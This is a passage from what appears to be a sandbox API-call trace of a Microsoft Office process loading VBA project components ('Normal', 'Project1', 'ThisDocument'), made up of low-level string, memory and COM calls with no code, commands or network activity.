dwFlags=0x0, lpWideCharStr="VBE", cchWideChar=-1, lpMultiByteStr=0x1279f0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE", lpUsedDefaultChar=0x0) returned 4 [0053.403] wsprintfA (in: param_1=0x2e3b340, param_2="%s;%s;&H%08lX" | out: param_1="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0053.403] wsprintfA (in: param_1=0x127a18, param_2="&H%08lX" | out: param_1="&H00000001") returned 10 [0053.404] lstrcpynA (in: lpString1=0x2e3b3b0, lpString2="Host Extender Info", iMaxLength=256 | out: lpString1="Host Extender Info") returned="Host Extender Info" [0053.404] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53 [0053.404] lstrcpyA (in: lpString1=0x2e3b5f0, lpString2="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000" | out: lpString1="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000" [0053.404] IMalloc:Free (This=0x7feffc15380, pv=0x66d4690) [0053.404] GetCurrentThreadId () returned 0x8d0 [0053.406] GetCurrentThreadId () returned 0x8d0 [0053.406] IMalloc:Alloc (This=0x7feffc15380, cb=0x28) returned 0x66d4690 [0053.406] GetCursorPos (in: lpPoint=0x127c40 | out: lpPoint=0x127c40*(x=1416, y=740)) returned 1 [0053.406] GetCapture () returned 0x0 [0053.406] WindowFromPoint (Point=0x2e400000587) returned 0x50024 [0053.407] GetWindowThreadProcessId (in: hWnd=0x50024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d0 [0053.407] SendMessageA (hWnd=0x50024, Msg=0x84, wParam=0x0, lParam=0x2e40587) returned 0x1 [0053.407] SendMessageA (hWnd=0x50024, Msg=0x20, wParam=0x50024, lParam=0x2000001) returned 0x0 [0053.407] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0053.407] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4233e28, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0053.407] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0053.407] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4233e28, cbMultiByte=9, lpWideCharStr=0x66dc7f8, cchWideChar=9 | out: lpWideCharStr="Project1") returned 9 [0053.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0x127c20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0053.407] IsCharAlphaA (ch=78) returned 1 [0053.407] lstrlenA (lpString="Normal") returned 6 [0053.407] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x127c40, cbMultiByte=-1, lpWideCharStr=0x2e39180, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0053.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0x127ad0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0053.407] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0053.407] lstrlenA (lpString="Normal") returned 6 [0053.407] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x127c40, cbMultiByte=-1, lpWideCharStr=0x2e39180, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0053.407] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0x127a90, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0053.407] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0053.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x127a80, cbMultiByte=-1, lpWideCharStr=0x127a50, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0053.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0x127990, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0053.408] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0053.408] lstrlenA (lpString="Normal") returned 6 [0053.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x127a80, cbMultiByte=-1, lpWideCharStr=0x127a00, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0053.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0x127940, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0053.408] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0053.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0x127950, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0053.408] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0053.408] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0053.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4233e28, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0053.408] SysStringByteLen (bstr="牐橯捥ㅴ") returned 0x8 [0053.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4233e28, cbMultiByte=9, lpWideCharStr=0x66dc7f8, cchWideChar=9 | out: lpWideCharStr="Project1") returned 9 [0053.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Project1", cchWideChar=-1, lpMultiByteStr=0x127a30, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project1", lpUsedDefaultChar=0x0) returned 9 [0053.408] lstrcmpA (lpString1="Project1", lpString2="Normal") returned 1 [0053.408] lstrcmpiA (lpString1="Project1", lpString2="Normal") returned 1 [0053.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0x127930, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0053.408] lstrcmpiA (lpString1="Project1", lpString2="Normal") returned 1 [0053.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0053.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0x127830, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0053.408] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0053.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ef2a3e, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0053.408] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3ef2a3e, cbMultiByte=8, lpWideCharStr=0x4233e28, cchWideChar=8 | out: lpWideCharStr="Project1") returned 8 [0053.408] GetLocalTime (in: lpSystemTime=0x1276d0 | out: lpSystemTime=0x1276d0*(wYear=0x7e3, wMonth=0x1, wDayOfWeek=0x2, wDay=0x8, wHour=0xc, wMinute=0x28, wSecond=0x1f, wMilliseconds=0x161)) [0053.408] wcsncpy_s (in: _Destination=0x127380, _SizeInWords=0x108, _Source="*\\Z025e132abf", _MaxCount=0x106 | out: _Destination="*\\Z025e132abf") returned 0x0 [0053.408] CharLowerBuffW (in: lpsz="*\\Z025e132abf", cchLength=0xd | out: lpsz="*\\z025e132abf") returned 0xd [0053.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z025e132abf", cchWideChar=14, lpMultiByteStr=0x1272b0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z025e132abf", lpUsedDefaultChar=0x0) returned 14 [0053.408] _wcsicmp (_String1="*\\Z025e132abf", _String2="*\\Z025e132abf") returned 0 [0053.408] GetLocalTime (in: lpSystemTime=0x1276d0 | out: lpSystemTime=0x1276d0*(wYear=0x7e3, wMonth=0x1, wDayOfWeek=0x2, wDay=0x8, wHour=0xc, wMinute=0x28, wSecond=0x1f, wMilliseconds=0x161)) [0053.408] wcsncpy_s (in: _Destination=0x127380, _SizeInWords=0x108, _Source="*\\Z025e132abf", _MaxCount=0x106 | out: _Destination="*\\Z025e132abf") returned 0x0 [0053.408] CharLowerBuffW (in: lpsz="*\\Z025e132abf", cchLength=0xd | out: lpsz="*\\z025e132abf") returned 0xd [0053.408] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z025e132abf", cchWideChar=14, lpMultiByteStr=0x1272b0, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z025e132abf", lpUsedDefaultChar=0x0) returned 14 [0053.409] _wcsicmp (_String1="*\\Z025e132abf", _String2="*\\Z025e132abf") returned 0 [0053.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0x127740, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0053.409] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0053.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0x127740, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0053.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0x127600, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0053.409] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0053.409] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Normal") returned 0x10d8df [0053.409] IMalloc:Alloc (This=0x7feffc15380, cb=0x30) returned 0x663ec10 [0053.409] IMalloc:Free (This=0x7feffc15380, pv=0x69d6d70) [0053.409] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66d4480 [0053.409] IMalloc:Realloc (This=0x7feffc15380, pv=0x66d4480, cb=0x50) returned 0x69d6d70 [0053.409] IMalloc:Free (This=0x7feffc15380, pv=0x663ec10) [0053.409] wcsncpy_s (in: _Destination=0x127400, _SizeInWords=0x108, _Source="*\\Z025e132abf", _MaxCount=0x106 | out: _Destination="*\\Z025e132abf") returned 0x0 [0053.409] CharLowerBuffW (in: lpsz="*\\Z025e132abf", cchLength=0xd | out: lpsz="*\\z025e132abf") returned 0xd [0053.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z025e132abf", cchWideChar=14, lpMultiByteStr=0x127330, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z025e132abf", lpUsedDefaultChar=0x0) returned 14 [0053.410] _wcsicmp (_String1="*\\Z025e132abf", _String2="*\\Z025e132abf") returned 0 [0053.410] strcpy_s (in: _Dst=0x68ffdd0, _DstSize=0x7, _Src="Normal" | out: _Dst="Normal") returned 0x0 [0053.410] SysStringByteLen (bstr="潎浲污") returned 0x6 [0053.410] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4233e28, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0053.410] SysStringByteLen (bstr="潎浲污") returned 0x6 [0053.410] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4233e28, cbMultiByte=7, lpWideCharStr=0x66d9d68, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0053.410] lstrlenA (lpString="Normal") returned 6 [0053.411] SysStringByteLen (bstr="潎浲污") returned 0x6 [0053.411] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4233e28, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0053.411] SysStringByteLen (bstr="潎浲污") returned 0x6 [0053.411] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4233e28, cbMultiByte=7, lpWideCharStr=0x66d9d68, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0053.411] lstrlenA (lpString="Normal") returned 6 [0053.413] lstrcmpiW (lpString1="Normal", lpString2="") returned 1 [0053.414] wcscpy_s (in: _Destination=0x1278a6, _SizeInWords=0x105, _Source="Normal" | out: _Destination="Normal") returned 0x0 [0053.414] _wcsicmp (_String1="*\\CNormal", _String2="*\\Z025e132abf") returned -23 [0053.414] IUnknown:AddRef (This=0x677d9c0) returned 0x4 [0053.414] IUnknown:QueryInterface (in: This=0x677d9c0, riid=0x7fee4b35c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x127308 | out: ppvObject=0x127308*=0x0) returned 0x80004002 [0053.414] IUnknown:Release (This=0x677d9c0) returned 0x3 [0053.414] IUnknown:AddRef (This=0x677a9f0) returned 0x5 [0053.414] IUnknown:QueryInterface (in: This=0x677a9f0, riid=0x7fee4b35c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x127308 | out: ppvObject=0x127308*=0x0) returned 0x80004002 [0053.414] IUnknown:Release (This=0x677a9f0) returned 0x4 [0053.414] IUnknown:AddRef (This=0x677acc0) returned 0x5 [0053.414] IUnknown:QueryInterface (in: This=0x677acc0, riid=0x7fee4b35c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x127308 | out: ppvObject=0x127308*=0x0) returned 0x80004002 [0053.414] IUnknown:Release (This=0x677acc0) returned 0x4 [0053.414] wcsncpy_s (in: _Destination=0x126fd0, _SizeInWords=0x108, _Source="*\\Z025e132abf", _MaxCount=0x106 | out: _Destination="*\\Z025e132abf") returned 0x0 [0053.414] CharLowerBuffW (in: lpsz="*\\Z025e132abf", cchLength=0xd | out: lpsz="*\\z025e132abf") returned 0xd [0053.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z025e132abf", cchWideChar=14, lpMultiByteStr=0x126f00, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z025e132abf", lpUsedDefaultChar=0x0) returned 14 [0053.414] _wcsicmp (_String1="*\\Z025e132abf", _String2="*\\Z025e132abf") returned 0 [0053.414] wcsncpy_s (in: _Destination=0x126fd0, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0053.414] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0053.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x126f00, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0053.414] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0053.415] wcscpy_s (in: _Destination=0x69f9048, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0053.415] wcsncpy_s (in: _Destination=0x126fd0, _SizeInWords=0x108, _Source="*\\Z025e132abf", _MaxCount=0x106 | out: _Destination="*\\Z025e132abf") returned 0x0 [0053.415] CharLowerBuffW (in: lpsz="*\\Z025e132abf", cchLength=0xd | out: lpsz="*\\z025e132abf") returned 0xd [0053.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\z025e132abf", cchWideChar=14, lpMultiByteStr=0x126f00, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\z025e132abf", lpUsedDefaultChar=0x0) returned 14 [0053.415] _wcsicmp (_String1="*\\Z025e132abf", _String2="*\\Z025e132abf") returned 0 [0053.415] wcsncpy_s (in: _Destination=0x127010, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0053.415] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0053.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x126f40, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0053.415] wcscpy_s (in: _Destination=0x68f9c60, _SizeInWords=0x108, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0053.420] _wfullpath (in: _Buffer=0x127820, _Path="Normal", _BufferCount=0x104 | out: _Buffer="C:\\Users\\aETAdzjz\\Desktop\\Normal") returned="C:\\Users\\aETAdzjz\\Desktop\\Normal" [0053.420] lstrcmpiW (lpString1="C:\\Users\\aETAdzjz\\Desktop\\Normal", lpString2="") returned 1 [0053.420] SysStringByteLen (bstr="潎浲污") returned 0x6 [0053.420] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4233e28, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0053.420] SysStringByteLen (bstr="潎浲污") returned 0x6 [0053.420] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4233e28, cbMultiByte=7, lpWideCharStr=0x66d9d68, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0053.421] lstrlenA (lpString="Normal") returned 6 [0053.421] ITypeInfo:RemoteGetDocumentation (in: This=0x68568f0, memid=-1, refPtrFlags=0x127bb8, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2e37f88 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x2e37f88*="\x91e4\xe49b\x7fe") returned 0x0 [0053.421] IUnknown:Release (This=0x68568f0) returned 0x0 [0053.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=-1, lpMultiByteStr=0x127b90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0053.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=-1, lpMultiByteStr=0x127b70, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0053.421] IsCharAlphaA (ch=84) returned 1 [0053.421] lstrlenA (lpString="ThisDocument") returned 12 [0053.421] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x127bd0, cbMultiByte=-1, lpWideCharStr=0x2e37f50, cchWideChar=13 | out: lpWideCharStr="ThisDocument") returned 13 [0053.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x127a10, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0053.421] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0053.421] lstrlenA (lpString="ThisDocument") returned 12 [0053.421] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x127bd0, cbMultiByte=-1, lpWideCharStr=0x2e37f50, cchWideChar=13 | out: lpWideCharStr="ThisDocument") returned 13 [0053.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x1279d0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0053.421] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0053.421] lstrlenA (lpString="ThisDocument") returned 12 [0053.422] ITypeInfo:RemoteGetTypeAttr (in: This=0x6856790, ppTypeAttr=0x1279c0, pDummy=0x0 | out: ppTypeAttr=0x1279c0, pDummy=0x0) returned 0x0 [0053.422] ITypeInfo:LocalReleaseTypeAttr (This=0x6856790) returned 0x0 [0053.422] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x127bd0, cbMultiByte=-1, lpWideCharStr=0x127a30, cchWideChar=13 | out: lpWideCharStr="ThisDocument") returned 13 [0053.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x127650, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0053.422] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0053.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x127790, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0053.422] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0053.422] IMalloc:Realloc (This=0x7feffc15380, pv=0x6a50730, cb=0x8) returned 0x6a50850 [0053.422] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0x6a7ff10 [0053.422] IMalloc:GetSize (This=0x7feffc15380, pv=0x6a7ff10) returned 0x80 [0053.422] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0x69ae110 [0053.422] IMalloc:Alloc (This=0x7feffc15380, cb=0xb8) returned 0x69ae050 [0053.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x127650, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0053.422] CoCreateGuid (in: pguid=0x127380 | out: pguid=0x127380*(Data1=0x2cdab39d, Data2=0x687a, Data3=0x43d1, Data4=([0]=0x92, [1]=0x20, [2]=0x51, [3]=0xaf, [4]=0xd0, [5]=0x18, [6]=0xaf, [7]=0xfa))) returned 0x0 [0053.422] CoCreateGuid (in: pguid=0x127390 | out: pguid=0x127390*(Data1=0xc15b2c1d, Data2=0xd6ca, Data3=0x4556, Data4=([0]=0xad, [1]=0x74, [2]=0xd9, [3]=0x55, [4]=0xca, [5]=0x3, [6]=0x57, [7]=0xcc))) returned 0x0 [0053.422] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ThisDocument", cchWideChar=13, lpMultiByteStr=0x1273a0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisDocument", lpUsedDefaultChar=0x0) returned 13 [0053.422] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0053.422] GetLocalTime (in: lpSystemTime=0x127278 | out: lpSystemTime=0x127278*(wYear=0x7e3, wMonth=0x1, wDayOfWeek=0x2, wDay=0x8, wHour=0xc, wMinute=0x28, wSecond=0x1f, wMilliseconds=0x170)) [0053.422] _ultow_s (in: _Value=0x5e132abf, _Buffer=0x6a9cc44, _BufferCount=0x9, _Radix=16 | out: _Buffer="5e132abf") returned 0x0 [0053.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="035e132abf", cchWideChar=11, lpMultiByteStr=0x127210, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="035e132abf", lpUsedDefaultChar=0x0) returned 11 [0053.422] IMalloc:Alloc (This=0x7feffc15380, cb=0x170) returned 0x6a92450 [0053.422] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0x69d6dd0 [0053.422] strcpy_s (in: _Dst=0x68ffde0, _DstSize=0xd, _Src="ThisDocument" | out: _Dst="ThisDocument") returned 0x0 [0053.422] IMalloc:Realloc (This=0x7feffc15380, pv=0x690c7a0, cb=0x68) returned 0x69a08f0 [0053.422] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0053.422] wcscpy_s (in: _Destination=0x6a9cc58, _SizeInWords=0xd, _Source="ThisDocument" | out: _Destination="ThisDocument") returned 0x0 [0053.423] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0053.423] wcscpy_s (in: _Destination=0x6a9cc78, _SizeInWords=0xd, _Source="ThisDocument" | out: _Destination="ThisDocument") returned 0x0 [0053.423] IMalloc:Realloc (This=0x7feffc15380, pv=0x6a50710, cb=0x12) returned 0x6a2a550 [0053.423] IMalloc:Realloc (This=0x7feffc15380, pv=0x690c620, cb=0x6) returned 0x6a50710 [0053.423] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ThisDocument") returned 0x109e3c [0053.423] IMalloc:Alloc (This=0x7feffc15380, cb=0x30) returned 0x663ec10 [0053.423] IMalloc:Free (This=0x7feffc15380, pv=0x69d6d70) [0053.423] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66d4660 [0053.423] IMalloc:Realloc (This=0x7feffc15380, pv=0x66d4660, cb=0x5c) returned 0x69a0960 [0053.423] IMalloc:Free (This=0x7feffc15380, pv=0x663ec10) [0053.423] IMalloc:Alloc (This=0x7feffc15380, cb=0x3d0) returned 0x6a09670 [0053.423] IMalloc:Alloc (This=0x7feffc15380, cb=0x20) returned 0x66d4660 [0053.423] IMalloc:Alloc (This=0x7feffc15380, cb=0x10) returned 0x6a2a050 [0053.423] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0x6a7ffa0 [0053.423] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x690c620 [0053.423] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x690c7a0 [0053.423] wcsncpy_s (in: _Destination=0x1270d0, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0053.423] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0053.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x127000, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0053.423] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0053.423] IMalloc:Alloc (This=0x7feffc15380, cb=0x688) returned 0x6a87d30 [0053.423] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0x6a80030 [0053.423] IMalloc:Alloc 